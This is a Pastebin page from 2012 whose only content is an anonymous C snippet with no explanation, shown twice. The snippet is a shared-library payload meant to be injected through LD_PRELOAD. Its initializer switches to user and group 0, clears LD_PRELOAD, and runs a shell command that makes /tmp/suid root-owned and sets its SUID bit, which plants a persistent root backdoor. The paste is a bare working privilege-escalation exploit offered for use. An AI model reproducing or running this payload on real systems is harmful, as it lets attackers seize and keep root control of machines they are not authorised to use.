PASTEBIN
| #1 paste tool since 2002
create new paste
tools
api
archive
real-time
faq
PASTEBIN
create new paste
trending pastes
sign up
login
my alerts
my settings
my profile
Public Pastes
Untitled
18 sec ago
Untitled
19 sec ago
Untitled
19 sec ago
Untitled
23 sec ago
Untitled
24 sec ago
Untitled
29 sec ago
Untitled
29 sec ago
Untitled
34 sec ago
Untitled
By: a guest on Feb 23rd, 2012 | syntax:
None
| size: 0.23 KB | hits: 19 | expires: Never
download
|
raw
|
embed
|
report abuse
Copied
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
create a
new version
of this paste
RAW Paste Data
#include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { setgid(0); setuid(0); unsetenv("LD_PRELOAD"); execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); }